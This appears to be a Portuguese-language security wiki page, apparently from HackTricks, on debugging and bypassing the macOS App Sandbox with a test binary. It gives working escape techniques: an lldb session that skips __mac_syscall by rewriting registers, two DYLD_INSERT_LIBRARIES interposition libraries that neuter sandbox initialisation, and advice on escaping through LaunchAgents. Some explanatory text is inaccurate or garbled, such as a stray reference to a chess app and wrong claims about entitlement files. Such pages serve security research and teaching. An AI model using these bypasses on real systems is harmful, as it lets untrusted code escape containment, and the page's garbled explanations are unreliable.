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Depuração e Bypass do Sandbox do macOS

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Processo de carregamento do Sandbox

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar como o sandbox será carregado quando um aplicativo com a permissão com.apple.security.app-sandbox é executado.

O compilador irá vincular /usr/lib/libSystem.B.dylib ao binário.

Em seguida, libSystem.B irá chamar várias outras funções até que o xpc_pipe_routine envie as permissões do aplicativo para o securityd. O Securityd verifica se o processo deve ser quarentenado dentro do Sandbox e, se for o caso, ele será quarentenado.
Por fim, o sandbox será ativado com uma chamada para __sandbox_ms que chamará __mac_syscall.

Possíveis Bypasses

Executar binário sem Sandbox

Se você executar um binário que não será colocado em um sandbox a partir de um binário em sandbox, ele será executado dentro do sandbox do processo pai.

Depuração e bypass do Sandbox com lldb

Vamos compilar um aplicativo que deve ser colocado em um sandbox:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}

{% endtab %}

{% tab title="entitlements.xml" %} O arquivo entitlements.xml é um arquivo de propriedades que contém informações sobre as permissões concedidas a um aplicativo. Ele é usado pelo sistema de sandbox do macOS para determinar quais recursos o aplicativo tem permissão para acessar. O arquivo pode ser encontrado dentro do pacote do aplicativo em /Contents/entitlements.plist.

Os desenvolvedores podem especificar quais recursos o aplicativo precisa acessar, como acesso à internet, acesso ao sistema de arquivos ou acesso a dispositivos USB. O sistema de sandbox do macOS então garante que o aplicativo só possa acessar os recursos especificados no arquivo entitlements.xml.

Os usuários podem verificar as permissões concedidas a um aplicativo abrindo as Preferências do Sistema, selecionando Segurança e Privacidade e, em seguida, selecionando a guia Privacidade. A partir daí, os usuários podem ver quais recursos cada aplicativo tem permissão para acessar e podem conceder ou revogar permissões conforme necessário.

Os atacantes podem tentar modificar o arquivo entitlements.xml para conceder permissões adicionais a um aplicativo, permitindo que ele acesse recursos que normalmente não teria permissão para acessar. No entanto, isso requer acesso de gravação ao pacote do aplicativo, o que geralmente é difícil de obter.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% endtab %}

{% tab title="Info.plist" %}

O arquivo Info.plist é um arquivo de propriedades que contém informações sobre o aplicativo, incluindo as permissões necessárias para executar o aplicativo. Ele é usado pelo sistema operacional para determinar quais recursos o aplicativo pode acessar e quais ações ele pode executar. O arquivo Info.plist também contém informações sobre a versão do aplicativo, o nome do desenvolvedor e outras informações relevantes. É importante garantir que o arquivo Info.plist esteja configurado corretamente para evitar possíveis vulnerabilidades de segurança.

<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Em seguida, compile o aplicativo:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

{% endcode %}

{% hint style="danger" %} O aplicativo tentará ler o arquivo ~/Desktop/del.txt, o que o Sandbox não permitirá.
Crie um arquivo lá, pois uma vez que o Sandbox seja contornado, o aplicativo poderá lê-lo:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

{% endhint %}

Vamos depurar o aplicativo de xadrez para ver quando o Sandbox é carregado:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
    frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
    frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
    frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
    frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
  x2 = 0x000000016fdfd660
  
# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
    0x187659904 <+4>:  svc    #0x80
    0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
    0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

{% hint style="warning" %} Mesmo com o Sandbox burlado, o TCC perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho. {% endhint %}

Abusando de outros processos

Se a partir do processo do Sandbox você conseguir comprometer outros processos em execução em Sandboxes menos restritivas (ou sem nenhuma), você poderá escapar para suas Sandboxes:

{% content-ref url="../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Bypass de Interposição

Para obter mais informações sobre Interposição, consulte:

{% content-ref url="../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interposição de _libsecinit_initializer para evitar o Sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interceptar __mac_syscall para evitar o Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %} (Não traduzir)

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Compilação estática e vinculação dinâmica

Esta pesquisa descobriu duas maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do userland quando a biblioteca libSystem é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria sandboxed:

  • Se o binário fosse completamente compilado estaticamente, ele poderia evitar o carregamento dessa biblioteca.
  • Se o binário não precisasse carregar nenhuma biblioteca (porque o linker também está em libSystem), ele não precisaria carregar libSystem.

Shellcodes

Observe que até mesmo shellcodes em ARM64 precisam ser vinculados em libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Abusando das Localizações de Início Automático

Se um processo com sandbox pode escrever em um local onde mais tarde um aplicativo sem sandbox vai executar o binário, ele será capaz de escapar apenas colocando o binário lá. Um bom exemplo desse tipo de localizações são ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Para isso, você pode precisar de 2 etapas: fazer um processo com um sandbox mais permissivo (file-read*, file-write*) executar seu código, que realmente escreverá em um local onde será executado sem sandbox.

Verifique esta página sobre Localizações de Início Automático:

{% content-ref url="broken-reference" %} Link quebrado {% endcontent-ref %}

Referências

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